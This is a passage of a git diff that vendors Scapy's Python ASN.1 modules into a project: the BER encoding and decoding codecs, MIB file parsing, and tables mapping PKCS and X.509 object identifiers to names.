o.strshow(lvl=lvl + 1) + return s + + +class ASN1_SET(ASN1_SEQUENCE): + tag = ASN1_Class_UNIVERSAL.SET + + +class ASN1_IPADDRESS(ASN1_STRING): + tag = ASN1_Class_UNIVERSAL.IPADDRESS + + +class ASN1_COUNTER32(ASN1_INTEGER): + tag = ASN1_Class_UNIVERSAL.COUNTER32 + + +class ASN1_GAUGE32(ASN1_INTEGER): + tag = ASN1_Class_UNIVERSAL.GAUGE32 + + +class ASN1_TIME_TICKS(ASN1_INTEGER): + tag = ASN1_Class_UNIVERSAL.TIME_TICKS + + +conf.ASN1_default_codec = ASN1_Codecs.BER diff --git a/libs/scapy/asn1/ber.py b/libs/scapy/asn1/ber.py new file mode 100755 index 0000000..1bfd3e1 --- /dev/null +++ b/libs/scapy/asn1/ber.py @@ -0,0 +1,565 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Modified by Maxence Tury +# Acknowledgment: Ralph Broenink +# This program is published under a GPLv2 license + +""" +Basic Encoding Rules (BER) for ASN.1 +""" + +from __future__ import absolute_import +from scapy.error import warning +from scapy.compat import chb, orb, bytes_encode +from scapy.utils import binrepr, inet_aton, inet_ntoa +from scapy.asn1.asn1 import ASN1_Decoding_Error, ASN1_Encoding_Error, \ + ASN1_BadTag_Decoding_Error, ASN1_Codecs, ASN1_Class_UNIVERSAL, \ + ASN1_Error, ASN1_DECODING_ERROR, ASN1_BADTAG +from scapy.modules import six + +################## +# BER encoding # +################## + + +# [ BER tools ] # + + +class BER_Exception(Exception): + pass + + +class BER_Encoding_Error(ASN1_Encoding_Error): + def __init__(self, msg, encoded=None, remaining=None): + Exception.__init__(self, msg) + self.remaining = remaining + self.encoded = encoded + + def __str__(self): + s = Exception.__str__(self) + if isinstance(self.encoded, BERcodec_Object): + s += "\n### Already encoded ###\n%s" % self.encoded.strshow() + else: + s += "\n### Already encoded ###\n%r" % self.encoded + s += "\n### Remaining ###\n%r" % self.remaining + return s + + +class BER_Decoding_Error(ASN1_Decoding_Error): + def __init__(self, msg, decoded=None, remaining=None): + Exception.__init__(self, msg) + self.remaining = remaining + self.decoded = decoded + + def __str__(self): + s = Exception.__str__(self) + if isinstance(self.decoded, BERcodec_Object): + s += "\n### Already decoded ###\n%s" % self.decoded.strshow() + else: + s += "\n### Already decoded ###\n%r" % self.decoded + s += "\n### Remaining ###\n%r" % self.remaining + return s + + +class BER_BadTag_Decoding_Error(BER_Decoding_Error, + ASN1_BadTag_Decoding_Error): + pass + + +def BER_len_enc(ll, size=0): + if ll <= 127 and size == 0: + return chb(ll) + s = b"" + while ll or size > 0: + s = chb(ll & 0xff) + s + ll >>= 8 + size -= 1 + if len(s) > 127: + raise BER_Exception( + "BER_len_enc: Length too long (%i) to be encoded [%r]" % + (len(s), s) + ) + return chb(len(s) | 0x80) + s + + +def BER_len_dec(s): + tmp_len = orb(s[0]) + if not tmp_len & 0x80: + return tmp_len, s[1:] + tmp_len &= 0x7f + if len(s) <= tmp_len: + raise BER_Decoding_Error( + "BER_len_dec: Got %i bytes while expecting %i" % + (len(s) - 1, tmp_len), + remaining=s + ) + ll = 0 + for c in s[1:tmp_len + 1]: + ll <<= 8 + ll |= orb(c) + return ll, s[tmp_len + 1:] + + +def BER_num_enc(ll, size=1): + x = [] + while ll or size > 0: + x.insert(0, ll & 0x7f) + if len(x) > 1: + x[0] |= 0x80 + ll >>= 7 + size -= 1 + return b"".join(chb(k) for k in x) + + +def BER_num_dec(s, cls_id=0): + if len(s) == 0: + raise BER_Decoding_Error("BER_num_dec: got empty string", remaining=s) + x = cls_id + for i, c in enumerate(s): + c = orb(c) + x <<= 7 + x |= c & 0x7f + if not c & 0x80: + break + if c & 0x80: + raise BER_Decoding_Error("BER_num_dec: unfinished number description", + remaining=s) + return x, s[i + 1:] + + +def BER_id_dec(s): + # This returns the tag ALONG WITH THE PADDED CLASS+CONSTRUCTIVE INFO. + # Let's recall that bits 8-7 from the first byte of the tag encode + # the class information, while bit 6 means primitive or constructive. + # + # For instance, with low-tag-number b'\x81', class would be 0b10 + # ('context-specific') and tag 0x01, but we return 0x81 as a whole. + # For b'\xff\x22', class would be 0b11 ('private'), constructed, then + # padding, then tag 0x22, but we return (0xff>>5)*128^1 + 0x22*128^0. + # Why the 5-bit-shifting? Because it provides an unequivocal encoding + # on base 128 (note that 0xff would equal 1*128^1 + 127*128^0...), + # as we know that bits 5 to 1 are fixed to 1 anyway. + # + # As long as there is no class differentiation, we have to keep this info + # encoded in scapy's tag in order to reuse it for packet building. + # Note that tags thus may have to be hard-coded with their extended + # information, e.g. a SEQUENCE from asn1.py has a direct tag 0x20|16. + x = orb(s[0]) + if x & 0x1f != 0x1f: + # low-tag-number + return x, s[1:] + else: + # high-tag-number + return BER_num_dec(s[1:], cls_id=x >> 5) + + +def BER_id_enc(n): + if n < 256: + # low-tag-number + return chb(n) + else: + # high-tag-number + s = BER_num_enc(n) + tag = orb(s[0]) # first byte, as an int + tag &= 0x07 # reset every bit from 8 to 4 + tag <<= 5 # move back the info bits on top + tag |= 0x1f # pad with 1s every bit from 5 to 1 + return chb(tag) + s[1:] + +# The functions below provide implicit and explicit tagging support. + + +def BER_tagging_dec(s, hidden_tag=None, implicit_tag=None, + explicit_tag=None, safe=False): + # We output the 'real_tag' if it is different from the (im|ex)plicit_tag. + real_tag = None + if len(s) > 0: + err_msg = "BER_tagging_dec: observed tag does not match expected tag" + if implicit_tag is not None: + ber_id, s = BER_id_dec(s) + if ber_id != implicit_tag: + if not safe: + raise BER_Decoding_Error(err_msg, remaining=s) + else: + real_tag = ber_id + s = chb(hash(hidden_tag)) + s + elif explicit_tag is not None: + ber_id, s = BER_id_dec(s) + if ber_id != explicit_tag: + if not safe: + raise BER_Decoding_Error(err_msg, remaining=s) + else: + real_tag = ber_id + l, s = BER_len_dec(s) + return real_tag, s + + +def BER_tagging_enc(s, implicit_tag=None, explicit_tag=None): + if len(s) > 0: + if implicit_tag is not None: + s = BER_id_enc(implicit_tag) + s[1:] + elif explicit_tag is not None: + s = BER_id_enc(explicit_tag) + BER_len_enc(len(s)) + s + return s + +# [ BER classes ] # + + +class BERcodec_metaclass(type): + def __new__(cls, name, bases, dct): + c = super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct) + try: + c.tag.register(c.codec, c) + except Exception: + warning("Error registering %r for %r" % (c.tag, c.codec)) + return c + + +class BERcodec_Object(six.with_metaclass(BERcodec_metaclass)): + codec = ASN1_Codecs.BER + tag = ASN1_Class_UNIVERSAL.ANY + + @classmethod + def asn1_object(cls, val): + return cls.tag.asn1_object(val) + + @classmethod + def check_string(cls, s): + if not s: + raise BER_Decoding_Error( + "%s: Got empty object while expecting tag %r" % + (cls.__name__, cls.tag), remaining=s + ) + + @classmethod + def check_type(cls, s): + cls.check_string(s) + tag, remainder = BER_id_dec(s) + if not isinstance(tag, int) or cls.tag != tag: + raise BER_BadTag_Decoding_Error( + "%s: Got tag [%i/%#x] while expecting %r" % + (cls.__name__, tag, tag, cls.tag), remaining=s + ) + return remainder + + @classmethod + def check_type_get_len(cls, s): + s2 = cls.check_type(s) + if not s2: + raise BER_Decoding_Error("%s: No bytes while expecting a length" % + cls.__name__, remaining=s) + return BER_len_dec(s2) + + @classmethod + def check_type_check_len(cls, s): + l, s3 = cls.check_type_get_len(s) + if len(s3) < l: + raise BER_Decoding_Error("%s: Got %i bytes while expecting %i" % + (cls.__name__, len(s3), l), remaining=s) + return l, s3[:l], s3[l:] + + @classmethod + def do_dec(cls, s, context=None, safe=False): + if context is None: + context = cls.tag.context + cls.check_string(s) + p, remainder = BER_id_dec(s) + if p not in context: + t = s + if len(t) > 18: + t = t[:15] + b"..." + raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % + (p, t), remaining=s) + codec = context[p].get_codec(ASN1_Codecs.BER) + if codec == BERcodec_Object: + # Value type defined as Unknown + l, s = BER_num_dec(remainder) + return ASN1_BADTAG(s[:l]), s[l:] + return codec.dec(s, context, safe) + + @classmethod + def dec(cls, s, context=None, safe=False): + if not safe: + return cls.do_dec(s, context, safe) + try: + return cls.do_dec(s, context, safe) + except BER_BadTag_Decoding_Error as e: + o, remain = BERcodec_Object.dec(e.remaining, context, safe) + return ASN1_BADTAG(o), remain + except BER_Decoding_Error as e: + return ASN1_DECODING_ERROR(s, exc=e), "" + except ASN1_Error as e: + return ASN1_DECODING_ERROR(s, exc=e), "" + + @classmethod + def safedec(cls, s, context=None): + return cls.dec(s, context, safe=True) + + @classmethod + def enc(cls, s): + if isinstance(s, six.string_types + (bytes,)): + return BERcodec_STRING.enc(s) + else: + return BERcodec_INTEGER.enc(int(s)) + + +ASN1_Codecs.BER.register_stem(BERcodec_Object) + + +########################## +# BERcodec objects # +########################## + +class BERcodec_INTEGER(BERcodec_Object): + tag = ASN1_Class_UNIVERSAL.INTEGER + + @classmethod + def enc(cls, i): + s = [] + while True: + s.append(i & 0xff) + if -127 <= i < 0: + break + if 128 <= i <= 255: + s.append(0) + i >>= 8 + if not i: + break + s = [chb(hash(c)) for c in s] + s.append(BER_len_enc(len(s))) + s.append(chb(hash(cls.tag))) + s.reverse() + return b"".join(s) + + @classmethod + def do_dec(cls, s, context=None, safe=False): + l, s, t = cls.check_type_check_len(s) + x = 0 + if s: + if orb(s[0]) & 0x80: # negative int + x = -1 + for c in s: + x <<= 8 + x |= orb(c) + return cls.asn1_object(x), t + + +class BERcodec_BOOLEAN(BERcodec_INTEGER): + tag = ASN1_Class_UNIVERSAL.BOOLEAN + + +class BERcodec_BIT_STRING(BERcodec_Object): + tag = ASN1_Class_UNIVERSAL.BIT_STRING + + @classmethod + def do_dec(cls, s, context=None, safe=False): + # /!\ the unused_bits information is lost after this decoding + l, s, t = cls.check_type_check_len(s) + if len(s) > 0: + unused_bits = orb(s[0]) + if safe and unused_bits > 7: + raise BER_Decoding_Error( + "BERcodec_BIT_STRING: too many unused_bits advertised", + remaining=s + ) + s = "".join(binrepr(orb(x)).zfill(8) for x in s[1:]) + if unused_bits > 0: + s = s[:-unused_bits] + return cls.tag.asn1_object(s), t + else: + raise BER_Decoding_Error( + "BERcodec_BIT_STRING found no content " + "(not even unused_bits byte)", + remaining=s + ) + + @classmethod + def enc(cls, s): + # /!\ this is DER encoding (bit strings are only zero-bit padded) + s = bytes_encode(s) + if len(s) % 8 == 0: + unused_bits = 0 + else: + unused_bits = 8 - len(s) % 8 + s += b"0" * unused_bits + s = b"".join(chb(int(b"".join(chb(y) for y in x), 2)) + for x in zip(*[iter(s)] * 8)) + s = chb(unused_bits) + s + return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s + + +class BERcodec_STRING(BERcodec_Object): + tag = ASN1_Class_UNIVERSAL.STRING + + @classmethod + def enc(cls, s): + s = bytes_encode(s) + # Be sure we are encoding bytes + return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s + + @classmethod + def do_dec(cls, s, context=None, safe=False): + l, s, t = cls.check_type_check_len(s) + return cls.tag.asn1_object(s), t + + +class BERcodec_NULL(BERcodec_INTEGER): + tag = ASN1_Class_UNIVERSAL.NULL + + @classmethod + def enc(cls, i): + if i == 0: + return chb(hash(cls.tag)) + b"\0" + else: + return super(cls, cls).enc(i) + + +class BERcodec_OID(BERcodec_Object): + tag = ASN1_Class_UNIVERSAL.OID + + @classmethod + def enc(cls, oid): + oid = bytes_encode(oid) + if oid: + lst = [int(x) for x in oid.strip(b".").split(b".")] + else: + lst = list() + if len(lst) >= 2: + lst[1] += 40 * lst[0] + del(lst[0]) + s = b"".join(BER_num_enc(k) for k in lst) + return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s + + @classmethod + def do_dec(cls, s, context=None, safe=False): + l, s, t = cls.check_type_check_len(s) + lst = [] + while s: + l, s = BER_num_dec(s) + lst.append(l) + if (len(lst) > 0): + lst.insert(0, lst[0] // 40) + lst[1] %= 40 + return ( + cls.asn1_object(b".".join(str(k).encode('ascii') for k in lst)), + t, + ) + + +class BERcodec_ENUMERATED(BERcodec_INTEGER): + tag = ASN1_Class_UNIVERSAL.ENUMERATED + + +class BERcodec_UTF8_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.UTF8_STRING + + +class BERcodec_NUMERIC_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING + + +class BERcodec_PRINTABLE_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING + + +class BERcodec_T61_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.T61_STRING + + +class BERcodec_VIDEOTEX_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING + + +class BERcodec_IA5_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.IA5_STRING + + +class BERcodec_UTC_TIME(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.UTC_TIME + + +class BERcodec_GENERALIZED_TIME(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME + + +class BERcodec_ISO646_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.ISO646_STRING + + +class BERcodec_UNIVERSAL_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING + + +class BERcodec_BMP_STRING(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.BMP_STRING + + +class BERcodec_SEQUENCE(BERcodec_Object): + tag = ASN1_Class_UNIVERSAL.SEQUENCE + + @classmethod + def enc(cls, ll): + if not isinstance(ll, bytes): + ll = b"".join(x.enc(cls.codec) for x in ll) + return chb(hash(cls.tag)) + BER_len_enc(len(ll)) + ll + + @classmethod + def do_dec(cls, s, context=None, safe=False): + if context is None: + context = cls.tag.context + ll, st = cls.check_type_get_len(s) # we may have len(s) < ll + s, t = st[:ll], st[ll:] + obj = [] + while s: + try: + o, s = BERcodec_Object.dec(s, context, safe) + except BER_Decoding_Error as err: + err.remaining += t + if err.decoded is not None: + obj.append(err.decoded) + err.decoded = obj + raise + obj.append(o) + if len(st) < ll: + raise BER_Decoding_Error("Not enough bytes to decode sequence", + decoded=obj) + return cls.asn1_object(obj), t + + +class BERcodec_SET(BERcodec_SEQUENCE): + tag = ASN1_Class_UNIVERSAL.SET + + +class BERcodec_IPADDRESS(BERcodec_STRING): + tag = ASN1_Class_UNIVERSAL.IPADDRESS + + @classmethod + def enc(cls, ipaddr_ascii): + try: + s = inet_aton(ipaddr_ascii) + except Exception: + raise BER_Encoding_Error("IPv4 address could not be encoded") + return chb(hash(cls.tag)) + BER_len_enc(len(s)) + s + + @classmethod + def do_dec(cls, s, context=None, safe=False): + l, s, t = cls.check_type_check_len(s) + try: + ipaddr_ascii = inet_ntoa(s) + except Exception: + raise BER_Decoding_Error("IP address could not be decoded", + remaining=s) + return cls.asn1_object(ipaddr_ascii), t + + +class BERcodec_COUNTER32(BERcodec_INTEGER): + tag = ASN1_Class_UNIVERSAL.COUNTER32 + + +class BERcodec_GAUGE32(BERcodec_INTEGER): + tag = ASN1_Class_UNIVERSAL.GAUGE32 + + +class BERcodec_TIME_TICKS(BERcodec_INTEGER): + tag = ASN1_Class_UNIVERSAL.TIME_TICKS diff --git a/libs/scapy/asn1/mib.py b/libs/scapy/asn1/mib.py new file mode 100755 index 0000000..a8617be --- /dev/null +++ b/libs/scapy/asn1/mib.py @@ -0,0 +1,623 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Modified by Maxence Tury +# This program is published under a GPLv2 license + +""" +Management Information Base (MIB) parsing +""" + +from __future__ import absolute_import +import re +from glob import glob +from scapy.dadict import DADict, fixname +from scapy.config import conf +from scapy.utils import do_graph +import scapy.modules.six as six +from scapy.compat import plain_str + +################# +# MIB parsing # +################# + +_mib_re_integer = re.compile(r"^[0-9]+$") +_mib_re_both = re.compile(r"^([a-zA-Z_][a-zA-Z0-9_-]*)\(([0-9]+)\)$") +_mib_re_oiddecl = re.compile(r"$\s*([a-zA-Z0-9_-]+)\s+OBJECT([^:\{\}]|\{[^:]+\})+::=\s*\{([^\}]+)\}", re.M) # noqa: E501 +_mib_re_strings = re.compile(r'"[^"]*"') +_mib_re_comments = re.compile(r'--.*(\r|\n)') + + +class MIBDict(DADict): + def fixname(self, val): + # We overwrite DADict fixname method as we want to keep - in names + return val + + def _findroot(self, x): + """Internal MIBDict function used to find a partial OID""" + if x.startswith("."): + x = x[1:] + if not x.endswith("."): + x += "." + max = 0 + root = "." + root_key = "" + for k in six.iterkeys(self): + if x.startswith(k + "."): + if max < len(k): + max = len(k) + root = self[k] + root_key = k + return root, root_key, x[max:-1] + + def _oidname(self, x): + """Deduce the OID name from its OID ID""" + root, _, remainder = self._findroot(x) + return root + remainder + + def _oid(self, x): + """Parse the OID id/OID generator, and return real OID""" + xl = x.strip(".").split(".") + p = len(xl) - 1 + while p >= 0 and _mib_re_integer.match(xl[p]): + p -= 1 + if p != 0 or xl[p] not in six.itervalues(self.__dict__): + return x + xl[p] = next(k for k, v in six.iteritems(self.__dict__) if v == xl[p]) + return ".".join(xl[p:]) + + def _make_graph(self, other_keys=None, **kargs): + if other_keys is None: + other_keys = [] + nodes = [(self[key], key) for key in self.iterkeys()] + oids = set(self.iterkeys()) + for k in other_keys: + if k not in oids: + nodes.append(self.oidname(k), k) + s = 'digraph "mib" {\n\trankdir=LR;\n\n' + for k, o in nodes: + s += '\t"%s" [ label="%s" ];\n' % (o, k) + s += "\n" + for k, o in nodes: + parent, parent_key, remainder = self._findroot(o[:-1]) + remainder = remainder[1:] + o[-1] + if parent != ".": + parent = parent_key + s += '\t"%s" -> "%s" [label="%s"];\n' % (parent, o, remainder) + s += "}\n" + do_graph(s, **kargs) + + +def _mib_register(ident, value, the_mib, unresolved): + """Internal function used to register an OID and its name in a MIBDict""" + if ident in the_mib or ident in unresolved: + return ident in the_mib + resval = [] + not_resolved = 0 + for v in value: + if _mib_re_integer.match(v): + resval.append(v) + else: + v = fixname(plain_str(v)) + if v not in the_mib: + not_resolved = 1 + if v in the_mib: + v = the_mib[v] + elif v in unresolved: + v = unresolved[v] + if isinstance(v, list): + resval += v + else: + resval.append(v) + if not_resolved: + unresolved[ident] = resval + return False + else: + the_mib[ident] = resval + keys = list(unresolved) + i = 0 + while i < len(keys): + k = keys[i] + if _mib_register(k, unresolved[k], the_mib, {}): + del(unresolved[k]) + del(keys[i]) + i = 0 + else: + i += 1 + + return True + + +def load_mib(filenames): + """Load the conf.mib dict from a list of filenames""" + the_mib = {'iso': ['1']} + unresolved = {} + for k in six.iterkeys(conf.mib): + _mib_register(conf.mib[k], k.split("."), the_mib, unresolved) + + if isinstance(filenames, (str, bytes)): + filenames = [filenames] + for fnames in filenames: + for fname in glob(fnames): + with open(fname) as f: + text = f.read() + cleantext = " ".join(_mib_re_strings.split(" ".join(_mib_re_comments.split(text)))) # noqa: E501 + for m in _mib_re_oiddecl.finditer(cleantext): + gr = m.groups() + ident, oid = gr[0], gr[-1] + ident = fixname(ident) + oid = oid.split() + for i, elt in enumerate(oid): + m = _mib_re_both.match(elt) + if m: + oid[i] = m.groups()[1] + _mib_register(ident, oid, the_mib, unresolved) + + newmib = MIBDict(_name="MIB") + for oid, key in six.iteritems(the_mib): + newmib[".".join(key)] = oid + for oid, key in six.iteritems(unresolved): + newmib[".".join(key)] = oid + + conf.mib = newmib + + +#################### +# OID references # +#################### + +# pkcs1 # + +pkcs1_oids = { + "1.2.840.113549.1.1.1": "rsaEncryption", + "1.2.840.113549.1.1.2": "md2WithRSAEncryption", + "1.2.840.113549.1.1.3": "md4WithRSAEncryption", + "1.2.840.113549.1.1.4": "md5WithRSAEncryption", + "1.2.840.113549.1.1.5": "sha1-with-rsa-signature", + "1.2.840.113549.1.1.6": "rsaOAEPEncryptionSET", + "1.2.840.113549.1.1.7": "id-RSAES-OAEP", + "1.2.840.113549.1.1.8": "id-mgf1", + "1.2.840.113549.1.1.9": "id-pSpecified", + "1.2.840.113549.1.1.10": "rsassa-pss", + "1.2.840.113549.1.1.11": "sha256WithRSAEncryption", + "1.2.840.113549.1.1.12": "sha384WithRSAEncryption", + "1.2.840.113549.1.1.13": "sha512WithRSAEncryption", + "1.2.840.113549.1.1.14": "sha224WithRSAEncryption" +} + +# secsig oiw # + +secsig_oids = { + "1.3.14.3.2.26": "sha1" +} + +# pkcs9 # + +pkcs9_oids = { + "1.2.840.113549.1.9.0": "modules", + "1.2.840.113549.1.9.1": "emailAddress", + "1.2.840.113549.1.9.2": "unstructuredName", + "1.2.840.113549.1.9.3": "contentType", + "1.2.840.113549.1.9.4": "messageDigest", + "1.2.840.113549.1.9.5": "signing-time", + "1.2.840.113549.1.9.6": "countersignature", + "1.2.840.113549.1.9.7": "challengePassword", + "1.2.840.113549.1.9.8": "unstructuredAddress", + "1.2.840.113549.1.9.9": "extendedCertificateAttributes", + "1.2.840.113549.1.9.13": "signingDescription", + "1.2.840.113549.1.9.14": "extensionRequest", + "1.2.840.113549.1.9.15": "smimeCapabilities", + "1.2.840.113549.1.9.16": "smime", + "1.2.840.113549.1.9.17": "pgpKeyID", + "1.2.840.113549.1.9.20": "friendlyName", + "1.2.840.113549.1.9.21": "localKeyID", + "1.2.840.113549.1.9.22": "certTypes", + "1.2.840.113549.1.9.23": "crlTypes", + "1.2.840.113549.1.9.24": "pkcs-9-oc", + "1.2.840.113549.1.9.25": "pkcs-9-at", + "1.2.840.113549.1.9.26": "pkcs-9-sx", + "1.2.840.113549.1.9.27": "pkcs-9-mr", + "1.2.840.113549.1.9.52": "id-aa-CMSAlgorithmProtection" +} + +# x509 # + +attributeType_oids = { + "2.5.4.0": "objectClass", + "2.5.4.1": "aliasedEntryName", + "2.5.4.2": "knowledgeInformation", + "2.5.4.3": "commonName", + "2.5.4.4": "surname", + "2.5.4.5": "serialNumber", + "2.5.4.6": "countryName", + "2.5.4.7": "localityName", + "2.5.4.8": "stateOrProvinceName", + "2.5.4.9": "streetAddress", + "2.5.4.10": "organizationName", + "2.5.4.11": "organizationUnitName", + "2.5.4.12": "title", + "2.5.4.13": "description", + "2.5.4.14": "searchGuide", + "2.5.4.15": "businessCategory", + "2.5.4.16": "postalAddress", + "2.5.4.17": "postalCode", + "2.5.4.18": "postOfficeBox", + "2.5.4.19": "physicalDeliveryOfficeName", + "2.5.4.20": "telephoneNumber", + "2.5.4.21": "telexNumber", + "2.5.4.22": "teletexTerminalIdentifier", + "2.5.4.23": "facsimileTelephoneNumber", + "2.5.4.24": "x121Address", + "2.5.4.25": "internationalISDNNumber", + "2.5.4.26": "registeredAddress", + "2.5.4.27": "destinationIndicator", + "2.5.4.28": "preferredDeliveryMethod", + "2.5.4.29": "presentationAddress", + "2.5.4.30": "supportedApplicationContext", + "2.5.4.31": "member", + "2.5.4.32": "owner", + "2.5.4.33": "roleOccupant", + "2.5.4.34": "seeAlso", + "2.5.4.35": "userPassword", + "2.5.4.36": "userCertificate", + "2.5.4.37": "cACertificate", + "2.5.4.38": "authorityRevocationList", + "2.5.4.39": "certificateRevocationList", + "2.5.4.40": "crossCertificatePair", + "2.5.4.41": "name", + "2.5.4.42": "givenName", + "2.5.4.43": "initials", + "2.5.4.44": "generationQualifier", + "2.5.4.45": "uniqueIdentifier", + "2.5.4.46": "dnQualifier", + "2.5.4.47": "enhancedSearchGuide", + "2.5.4.48": "protocolInformation", + "2.5.4.49": "distinguishedName", + "2.5.4.50": "uniqueMember", + "2.5.4.51": "houseIdentifier", + "2.5.4.52": "supportedAlgorithms", + "2.5.4.53": "deltaRevocationList", + "2.5.4.54": "dmdName", + "2.5.4.55": "clearance", + "2.5.4.56": "defaultDirQop", + "2.5.4.57": "attributeIntegrityInfo", + "2.5.4.58": "attributeCertificate", + "2.5.4.59": "attributeCertificateRevocationList", + "2.5.4.60": "confKeyInfo", + "2.5.4.61": "aACertificate", + "2.5.4.62": "attributeDescriptorCertificate", + "2.5.4.63": "attributeAuthorityRevocationList", + "2.5.4.64": "family-information", + "2.5.4.65": "pseudonym", + "2.5.4.66": "communicationsService", + "2.5.4.67": "communicationsNetwork", + "2.5.4.68": "certificationPracticeStmt", + "2.5.4.69": "certificatePolicy", + "2.5.4.70": "pkiPath", + "2.5.4.71": "privPolicy", + "2.5.4.72": "role", + "2.5.4.73": "delegationPath", + "2.5.4.74": "protPrivPolicy", + "2.5.4.75": "xMLPrivilegeInfo", + "2.5.4.76": "xmlPrivPolicy", + "2.5.4.77": "uuidpair", + "2.5.4.78": "tagOid", + "2.5.4.79": "uiiFormat", + "2.5.4.80": "uiiInUrh", + "2.5.4.81": "contentUrl", + "2.5.4.82": "permission", + "2.5.4.83": "uri", + "2.5.4.84": "pwdAttribute", + "2.5.4.85": "userPwd", + "2.5.4.86": "urn", + "2.5.4.87": "url", + "2.5.4.88": "utmCoordinates", + "2.5.4.89": "urnC", + "2.5.4.90": "uii", + "2.5.4.91": "epc", + "2.5.4.92": "tagAfi", + "2.5.4.93": "epcFormat", + "2.5.4.94": "epcInUrn", + "2.5.4.95": "ldapUrl", + "2.5.4.96": "ldapUrl", + "2.5.4.97": "organizationIdentifier" +} + +certificateExtension_oids = { + "2.5.29.1": "authorityKeyIdentifier", + "2.5.29.2": "keyAttributes", + "2.5.29.3": "certificatePolicies", + "2.5.29.4": "keyUsageRestriction", + "2.5.29.5": "policyMapping", + "2.5.29.6": "subtreesConstraint", + "2.5.29.7": "subjectAltName", + "2.5.29.8": "issuerAltName", + "2.5.29.9": "subjectDirectoryAttributes", + "2.5.29.10": "basicConstraints", + "2.5.29.14": "subjectKeyIdentifier", + "2.5.29.15": "keyUsage", + "2.5.29.16": "privateKeyUsagePeriod", + "2.5.29.17": "subjectAltName", + "2.5.29.18": "issuerAltName", + "2.5.29.19": "basicConstraints", + "2.5.29.20": "cRLNumber", + "2.5.29.21": "reasonCode", + "2.5.29.22": "expirationDate", + "2.5.29.23": "instructionCode", + "2.5.29.24": "invalidityDate", + "2.5.29.25": "cRLDistributionPoints", + "2.5.29.26": "issuingDistributionPoint", + "2.5.29.27": "deltaCRLIndicator", + "2.5.29.28": "issuingDistributionPoint", + "2.5.29.29": "certificateIssuer", + "2.5.29.30": "nameConstraints", + "2.5.29.31": "cRLDistributionPoints", + "2.5.29.32": "certificatePolicies", + "2.5.29.33": "policyMappings", + "2.5.29.34": "policyConstraints", + "2.5.29.35": "authorityKeyIdentifier", + "2.5.29.36": "policyConstraints", + "2.5.29.37": "extKeyUsage", + "2.5.29.38": "authorityAttributeIdentifier", + "2.5.29.39": "roleSpecCertIdentifier", + "2.5.29.40": "cRLStreamIdentifier", + "2.5.29.41": "basicAttConstraints", + "2.5.29.42": "delegatedNameConstraints", + "2.5.29.43": "timeSpecification", + "2.5.29.44": "cRLScope", + "2.5.29.45": "statusReferrals", + "2.5.29.46": "freshestCRL", + "2.5.29.47": "orderedList", + "2.5.29.48": "attributeDescriptor", + "2.5.29.49": "userNotice", + "2.5.29.50": "sOAIdentifier", + "2.5.29.51": "baseUpdateTime", + "2.5.29.52": "acceptableCertPolicies", + "2.5.29.53": "deltaInfo", + "2.5.29.54": "inhibitAnyPolicy", + "2.5.29.55": "targetInformation", + "2.5.29.56": "noRevAvail", + "2.5.29.57": "acceptablePrivilegePolicies", + "2.5.29.58": "id-ce-toBeRevoked", + "2.5.29.59": "id-ce-RevokedGroups", + "2.5.29.60": "id-ce-expiredCertsOnCRL", + "2.5.29.61": "indirectIssuer", + "2.5.29.62": "id-ce-noAssertion", + "2.5.29.63": "id-ce-aAissuingDistributionPoint", + "2.5.29.64": "id-ce-issuedOnBehaIFOF", + "2.5.29.65": "id-ce-singleUse", + "2.5.29.66": "id-ce-groupAC", + "2.5.29.67": "id-ce-allowedAttAss", + "2.5.29.68": "id-ce-attributeMappings", + "2.5.29.69": "id-ce-holderNameConstraints" +} + +certExt_oids = { + "2.16.840.1.113730.1.1": "cert-type", + "2.16.840.1.113730.1.2": "base-url", + "2.16.840.1.113730.1.3": "revocation-url", + "2.16.840.1.113730.1.4": "ca-revocation-url", + "2.16.840.1.113730.1.5": "ca-crl-url", + "2.16.840.1.113730.1.6": "ca-cert-url", + "2.16.840.1.113730.1.7": "renewal-url", + "2.16.840.1.113730.1.8": "ca-policy-url", + "2.16.840.1.113730.1.9": "homepage-url", + "2.16.840.1.113730.1.10": "entity-logo", + "2.16.840.1.113730.1.11": "user-picture", + "2.16.840.1.113730.1.12": "ssl-server-name", + "2.16.840.1.113730.1.13": "comment", + "2.16.840.1.113730.1.14": "lost-password-url", + "2.16.840.1.113730.1.15": "cert-renewal-time", + "2.16.840.1.113730.1.16": "aia", + "2.16.840.1.113730.1.17": "cert-scope-of-use", +} + +certPkixPe_oids = { + "1.3.6.1.5.5.7.1.1": "authorityInfoAccess", + "1.3.6.1.5.5.7.1.2": "biometricInfo", + "1.3.6.1.5.5.7.1.3": "qcStatements", + "1.3.6.1.5.5.7.1.4": "auditIdentity", + "1.3.6.1.5.5.7.1.6": "aaControls", + "1.3.6.1.5.5.7.1.10": "proxying", + "1.3.6.1.5.5.7.1.11": "subjectInfoAccess" +} + +certPkixQt_oids = { + "1.3.6.1.5.5.7.2.1": "cps", + "1.3.6.1.5.5.7.2.2": "unotice" +} + +certPkixKp_oids = { + "1.3.6.1.5.5.7.3.1": "serverAuth", + "1.3.6.1.5.5.7.3.2": "clientAuth", + "1.3.6.1.5.5.7.3.3": "codeSigning", + "1.3.6.1.5.5.7.3.4": "emailProtection", + "1.3.6.1.5.5.7.3.5": "ipsecEndSystem", + "1.3.6.1.5.5.7.3.6": "ipsecTunnel", + "1.3.6.1.5.5.7.3.7": "ipsecUser", + 